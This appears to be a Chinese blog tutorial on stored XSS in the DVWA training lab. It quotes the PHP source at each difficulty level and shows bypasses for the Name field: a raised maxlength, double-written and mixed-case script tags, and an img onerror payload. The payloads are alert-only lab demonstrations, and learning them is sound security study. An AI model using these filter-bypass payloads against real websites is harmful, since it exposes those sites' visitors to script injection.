存储型XSS(Stored)DVWA全等级绕过方法-爱代码爱编程
一、low级别
打开dvwa靶场,将等级设置为low,选中XSS(Stored)
这里有一个很明显的特征就是表单,遇到这种情况最好每个表单都输入内容,即XSS测试语句先查看源码(View Source)
:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
可以看到直接用sql语句存储了,并没有多余的设置
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
接下来我们先尝试在Name表单内进行测试:
奇怪的是,语句打到这里就没办法继续进行输入了,初步判断是有前端代码的限制
绕过前端限制,修改输入长度
我们右键查看源代码
看到 maxlength = 10 限制了我们的输入长度,一般前端的设置是可以绕过的。
按F12,选择这里的前端代码,把maxlength=10改成maxlength=30
修改好以后,我们接着在Name上面输入
<script>alert(/xss/)</script>
为了区别,在Message处输入
<script>alert(/message/)</script>
完了之后,点击注册(Sign Guestbook)
第一个出现XSS弹窗,是Name上的
第二个出现的是弹窗message,因此两个地方都存在XSS漏洞
那么如何判断他是不是存储型的呢?我们只要在这个网页什么都不填写,直接刷新,会发现直接出现弹窗了
还会将我们的内容显示出来
我们可以用数据库管理工具进行查看,这里我用的是Navicat Premium 15,可以看出,我们输入的内容已经存储进来了
如果navicat连接不上kali数据库,请参考我的另一篇博客:
链接: https://blog.csdn.net/weixin_43847838/article/details/110420513.
在进行Medium级别测试之前,先要把数据库中存放的两条XSS脚本删除,否则打开Medium级别后也会出现弹窗,因为是同一个数据库。删除方法很简单,用数据库连接工具,比如我用的Navicat工具即可。
二、Medium级别
先查看源代码(view source)
:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
可以看到//Get input ,输入的内容
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
接着看到关键的语句:
// Sanitize name input
$name = str_replace( '<script>', '', $name );
Name的过滤方式跟dvwa反射型XSS几乎一模一样的,就是用 str_replace() 函数将<script>
字符过滤掉,把它替换成空,但是message的值就比较麻烦了
$message = strip_tags( addslashes( $message ) );
$message = htmlspecialchars( $message );
先是使用addslashes() 函数,这个函数作用返回在预定义字符之前添加反斜杠的字符串。预定义的字符是:
1.单引号(')
2.双引号(")
3.反斜杠(\)
4.NULL
然后用strip_tags()这个函数除去字符串中的HTML、XML、 PHP 的标签,最后再调用htmlspecialchars() 函数,把预定义的字符转换为 HTML 实体,可谓是铜墙铁壁,所以message处不好下手,我们把攻击目标转移到防范薄弱的name.
函数具体用法可以前往w3school编程学习网查看:
PHP addslashes() 函数.
因此我们可以采用大小写绕过和双写绕过。
1.双写绕过
Name*处
:
<scr<script>ipt>alert(1)</script>
同样的,在输入前要绕过长度限制
2.大小写混淆方式绕过
Name*处
:
<SCript>alert(/Hello/)</script>
先弹出1(双写绕过时留下的)
后弹出内容:
三、High级别
先查看源代码(View Source)
:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
可以看到,只是在medium级别的基础上,在Name处多了种过滤方式:
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
完全把<script>
的大小写完全过滤掉,但是忽略了<img>
等其他的标签
因此可以用图片插入语句法
图片插入语句法:
<img src=1 οnerrοr=alert(999)>
四、dvwa_impossible分析
查看源代码(View Source)
:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到对两个参数name和message都进行了html实体转义,无法利用xss漏洞。
本站所有文章均为原创,欢迎转载,请注明文章出处: https://blog.csdn.net/weixin_43847838/article/details/110428828.。百度和各类采集站皆不可信,搜索请谨慎鉴别。技术类文章一般都有时效性,本人习惯不定期对自己的博文进行修正和更新,因此请访问出处以查看本文的最新版本。
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/weixin_43847838/article/details/110428828